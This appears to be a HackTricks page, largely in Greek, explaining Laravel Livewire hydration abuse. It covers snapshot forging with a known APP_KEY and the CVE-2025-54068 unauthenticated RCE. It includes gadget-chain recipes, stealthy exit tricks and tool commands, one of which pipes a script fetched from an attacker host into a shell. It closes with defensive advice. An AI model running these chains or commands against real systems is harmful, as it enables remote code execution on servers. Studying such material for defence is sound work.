Laravel Livewire Hydration & Synthesizer Abuse

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ανακεφαλαίωση του Livewire state machine

Τα Livewire 3 components ανταλλάσσουν την κατάστασή τους μέσω των snapshots που περιέχουν data, memo και ένα checksum. Κάθε POST στο /livewire/update επαναδημιουργεί (rehydrates) το JSON snapshot στην πλευρά του server και εκτελεί τις calls/updates που βρίσκονται στην ουρά.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Οποιοσδήποτε έχει το APP_KEY (χρησιμοποιείται για να προκύψει το $hashKey) μπορεί συνεπώς να πλαστογραφήσει αυθαίρετα στιγμιότυπα επαναϋπολογίζοντας το HMAC.

Οι σύνθετες ιδιότητες κωδικοποιούνται ως συνθετικά tuples που ανιχνεύονται από Livewire\Drawer\BaseUtils::isSyntheticTuple()· κάθε tuple είναι [value, {"s":"<key>", ...meta}]. Ο πυρήνας του hydration απλώς αναθέτει κάθε tuple στον synth που επιλέγεται σε HandleComponents::$propertySynthesizers και αναδρομικά επεξεργάζεται τα children:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Αυτός ο αναδρομικός σχεδιασμός καθιστά το Livewire έναν γενικό κινητήρα δημιουργίας αντικειμένων μόλις ένας επιτιθέμενος ελέγξει είτε τα metadata του tuple είτε οποιοδήποτε nested tuple που επεξεργάζεται κατά την αναδρομή.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Καλεί new $meta['class']($value) αφού επανα-υδρωθεί κάθε child. Οποιαδήποτε κλάση με constructor που δέχεται array μπορεί να δημιουργηθεί, και κάθε στοιχείο μπορεί με τη σειρά του να είναι ένα synthetic tuple.
FormObjectSynth (form)Καλεί new $meta['class']($component, $path), στη συνέχεια αναθέτει κάθε public property από attacker-controlled children μέσω $hydrateChild. Constructors που δέχονται δύο χαλαρά τυποποιημένες παραμέτρους (ή έχουν default args) αρκούν για την πρόσβαση σε αυθαίρετες public properties.
ModelSynth (mdl)Όταν key απουσιάζει από meta εκτελεί return new $class; επιτρέποντας την instantiation χωρίς ορίσματα οποιασδήποτε κλάσης υπό τον έλεγχο του επιτιθέμενου.

Επειδή τα synths καλούν $hydrateChild σε κάθε nested στοιχείο, μπορούν να κατασκευαστούν αυθαίρετοι γράφοι gadget στοιβάζοντας tuples αναδρομικά.

Forging snapshots when APP_KEY is known

  1. Καταγράψτε ένα νόμιμο αίτημα /livewire/update και αποκωδικοποιήστε το components[0].snapshot.
  2. Εισάγετε nested tuples που δείχνουν σε gadget classes και επαναυπολογίστε checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Επανακωδικοποιήστε το snapshot, αφήστε _token/memo αμετάβλητα και κάντε replay το αίτημα.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

From function calls to full RCE

Καθώς αξιοποιούνται τα instantiation primitives του Livewire, η Synacktiv προσαρμόσε την αλυσίδα phpggc Laravel/RCE4 έτσι ώστε η hydration να φορτώνει ένα αντικείμενο του οποίου η public Queueable κατάσταση ενεργοποιεί την deserialization:

  1. Queueable trait – κάθε αντικείμενο που χρησιμοποιεί Illuminate\Bus\Queueable αποκαλύπτει το public $chained και εκτελεί unserialize(array_shift($this->chained)) στο dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) δημιουργείται μέσω CollectionSynth / FormObjectSynth με το public $chained γεμάτο.
  3. phpggc Laravel/RCE4Adapted – το serialized blob που αποθηκεύεται σε $chained[0] κατασκευάζει PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Το Signed::__invoke() τελικά καλεί call_user_func_array($closure, $args) επιτρέποντας το system($cmd).
  4. Stealth termination – παρέχοντας ένα δεύτερο callable FnStream, όπως [new Laravel\Prompts\Terminal(), 'exit'], το αίτημα τελειώνει με exit() αντί για μια θορυβώδη εξαίρεση, διατηρώντας την HTTP απόκριση καθαρή.

Automating snapshot forgery

synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Το εργαλείο αναλύει το καταγεγραμμένο snapshot, εισάγει τα gadget tuples, επαναϋπολογίζει το checksum και εκτυπώνει ένα payload έτοιμο για αποστολή στο /livewire/update.

CVE-2025-54068 – RCE without APP_KEY

updates συγχωνεύονται στην κατάσταση του component μετά την επικύρωση του checksum του snapshot. Αν μια ιδιότητα μέσα στο snapshot είναι (ή γίνει) synthetic tuple, το Livewire επαναχρησιμοποιεί τα meta της ενώ πραγματοποιεί το hydration στην τιμή ενημέρωσης που ελέγχεται από τον επιτιθέμενο:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Βρείτε ένα Livewire component με untyped public property (π.χ., public $count;).
  2. Στείλτε ένα update που θέτει αυτή την ιδιότητα σε []. Το επόμενο snapshot τώρα το αποθηκεύει ως [[], {"s": "arr"}].
  3. Κατασκευάστε άλλο updates payload όπου αυτή η ιδιότητα περιέχει ένα βαθειά εμφωλευμένο array που ενσωματώνει tuples όπως [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Κατά την αναδρομή, hydrate() αξιολογεί κάθε εμφωλευμένο child ανεξάρτητα, οπότε τα attacker-chosen synth keys/classes γίνονται σεβαστά παρόλο που το εξωτερικό tuple και το checksum δεν άλλαξαν ποτέ.
  5. Επαναχρησιμοποιήστε τα ίδια CollectionSynth/FormObjectSynth primitives για να δημιουργήσετε ένα Queueable gadget του οποίου το $chained[0] περιέχει το phpggc payload. Το Livewire επεξεργάζεται τα forged updates, καλεί dispatchNextJobInChain(), και φτάνει σε system(<cmd>) χωρίς να γνωρίζει το APP_KEY.

Key reasons this works:

  • updates are not covered by the snapshot checksum.
  • getMetaForPath() trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
  • Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.

Livepyre – end-to-end exploitation

Livepyre αυτοματοποιεί τόσο το APP_KEY-less CVE όσο και τη signed-snapshot διαδρομή:

  • Fingerprints την εγκατεστημένη Livewire έκδοση αναλύοντας <script src="/livewire/livewire.js?id=HASH"> και αντιστοιχίζοντας το hash σε ευάλωτες releases.
  • Συλλέγει baseline snapshots επανεκτελώντας benign actions και εξάγοντας components[].snapshot.
  • Δημιουργεί είτε ένα updates-only payload (CVE-2025-54068) είτε ένα forged snapshot (γνωστό APP_KEY) που ενσωματώνει την phpggc chain.

Τυπική χρήση:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check εκτελεί μια μη-καταστροφική probe, -F παρακάμπτει το version gating, -H και -P προσθέτουν προσαρμοσμένα headers ή proxies, και --function/--param προσαρμόζουν τη php function που καλείται από το gadget chain.

Αμυντικές συστάσεις

  • Αναβαθμίστε σε διορθωμένα Livewire builds (>= 3.6.4 σύμφωνα με το δελτίο του προμηθευτή) και εφαρμόστε το patch του προμηθευτή για CVE-2025-54068.
  • Αποφύγετε weakly typed public properties σε Livewire components· explicit scalar types εμποδίζουν τη μετατροπή των τιμών των properties σε arrays/tuples.
  • Καταχωρήστε μόνο τους synthesizers που πραγματικά χρειάζεστε και θεωρήστε το user-controlled metadata ($meta['class']) ως μη αξιόπιστο.
  • Απορρίψτε ενημερώσεις που αλλάζουν τον JSON τύπο ενός property (π.χ., scalar -> array) εκτός αν έχει ρητά επιτραπεί, και επανα-παράγετε το synth metadata αντί να επαναχρησιμοποιείτε stale tuples.
  • Rotate το APP_KEY άμεσα μετά από οποιαδήποτε disclosure επειδή επιτρέπει offline snapshot forging ανεξάρτητα από το πόσο patched είναι το code-base.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks